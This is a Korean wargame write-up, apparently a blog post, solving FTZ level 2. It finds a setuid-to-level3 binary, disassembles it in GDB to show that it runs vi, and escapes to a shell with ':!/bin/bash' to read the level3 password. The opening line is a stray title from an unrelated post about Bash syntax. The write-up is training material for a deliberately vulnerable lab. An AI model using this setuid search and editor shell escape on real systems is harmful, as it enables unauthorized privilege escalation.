Shell Script 문법 정리
Title: Bash Shell Script 문법 정리 Author: DongDongE Tags: Programming Release: 2021.02.08 [Shell
ssh로 다시 level2로 로그인하면 아래와 같이 힌트를 찾을 수 있습니다.
[level2@ftz level2]$ ls
hint public_html tmp
[level2@ftz level2]$ cat hint
텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...
[level2@ftz level2]$
힌트는 텍스트 파일 편집기를 사용해 FTZ 1번 문제와 동일하게 푸는 것 같습니다.
우선 level3로 setuid 설정된 파일을 찾아보도록 하겠습니다.
[level2@ftz level2]$ find / -perm +4000 -user level3 2>/dev/null
/usr/bin/editorbash
위와 같이 level3 권한으로 setuid가 설정된 파일 하나를 볼 수 있습니다.
[level2@ftz level2]$ /usr/bin/editor
~
~
~ VIM - Vi IMproved
~
~ version 6.1.320
~ by Bram Moolenaar et al.
~ Vim is open source and freely distributable
~
~ Help poor children in Uganda!
~ type :help iccf<Enter> for information
~
~ type :q<Enter> to exit
~ type :help<Enter> or <F1> for on-line help
~ type :help version6<Enter> for version info
~
~
해당 파일을 실행시키면 "vim" 프로그램이 작동되는 걸 볼 수 있습니다.
그러면 문제를 풀기 전 해당 로직을 분석하기 위해 GDB로 뚜따 해보겠습니다.
[level2@ftz level2]$ cp /usr/bin/editor tmp/
[level2@ftz level2]$ gdb -q tmp/editor
(gdb) disass main
Dump of assembler code for function main:
0x08048360 <main+0>: push %ebp
0x08048361 <main+1>: mov %esp,%ebp
0x08048363 <main+3>: sub $0x8,%esp
0x08048366 <main+6>: and $0xfffffff0,%esp
0x08048369 <main+9>: mov $0x0,%eax
0x0804836e <main+14>: sub %eax,%esp
0x08048370 <main+16>: sub $0x8,%esp
0x08048373 <main+19>: push $0xbbb
0x08048378 <main+24>: push $0xbbb
0x0804837d <main+29>: call 0x80482a0 <setreuid>
0x08048382 <main+34>: add $0x10,%esp
0x08048385 <main+37>: sub $0xc,%esp
0x08048388 <main+40>: push $0x8048444
0x0804838d <main+45>: call 0x8048280 <system>
0x08048392 <main+50>: add $0x10,%esp
0x08048395 <main+53>: leave
0x08048396 <main+54>: ret
0x08048397 <main+55>: nop
End of assembler dump.
(gdb) x/s 0x8048444
0x8048444 <_IO_stdin_used+4>: "/bin/vi"
[level2@ftz level2]$ echo $((0xbbb))
3003
이번에는 프로그램 로직이 단순합니다. setreuid 함수와 system 함수를 사용하고 있습니다.
로직을 분석해보면 "PUSH $0xbbb"는 10진수로 3003이므로, setreuid(3003, 3003) 함수가 실행되어 level3 권한을 부여 받습니다.
부여 받은 권한으로 system("/bin/vi") 함수를 실행하여 에디터를 작동시킵니다.
[level2@ftz level2]$ /usr/bin/editor
~ VIM - Vi IMproved
~
~ version 6.1.320
~ by Bram Moolenaar et al.
~ Vim is open source and freely distributable
~
~ Help poor children in Uganda!
~ type :help iccf<Enter> for information
~
~ type :q<Enter> to exit
~ type :help<Enter> or <F1> for on-line help
~ type :help version6<Enter> for version info
~
~
~
~
~
~
~
~
:!/bin/bash
[level3@ftz level2]$ ls -la
합계 80
drwxr-xr-x 4 root level2 4096 4월 19 2002 .
drwxr-xr-x 34 root root 4096 9월 10 2011 ..
-rw-r--r-- 1 root root 245 9월 24 2000 .Xdefaults
-rw------- 1 root root 1 1월 15 2010 .bash_history
-rw-r--r-- 1 root root 24 2월 24 2002 .bash_logout
-rw-r--r-- 1 root root 224 2월 24 2002 .bash_profile
-rw-r--r-- 1 root root 151 2월 24 2002 .bashrc
-rw-r--r-- 1 root root 400 9월 24 2000 .cshrc
-rw-r--r-- 1 root root 4742 9월 24 2000 .emacs
-rw-rw-r-- 1 root root 162 3월 10 2000 .epems
-r--r--r-- 1 root root 319 9월 24 2000 .gtkrc
-rw-r--r-- 1 root root 100 9월 24 2000 .gvimrc
-rw-r--r-- 1 root root 226 9월 24 2000 .muttrc
-rw-r--r-- 1 root root 367 9월 24 2000 .profile
-rw-r--r-- 1 root root 0 10월 27 2002 .viminfo
-rw-r--r-- 1 root root 4145 9월 24 2000 .vimrc
-rw-r--r-- 1 root root 60 3월 23 2000 hint
drwxr-xr-x 2 root level2 4096 2월 24 2002 public_html
drwxrwxr-x 2 root level2 4096 1월 18 01:03 tmp
[level3@ftz level2]$ id
uid=3003(level3) gid=3002(level2) groups=3002(level2)
[level3@ftz level2]$ my-pass
Level3 Password is "can you fly?".
[level3@ftz level2]$
vim 에디터를 이용하여 ":!/bin/bash" 명령을 사용하여 level3 권한으로 shell를 사용하여 level3 패스워드를 알 수 있습니다.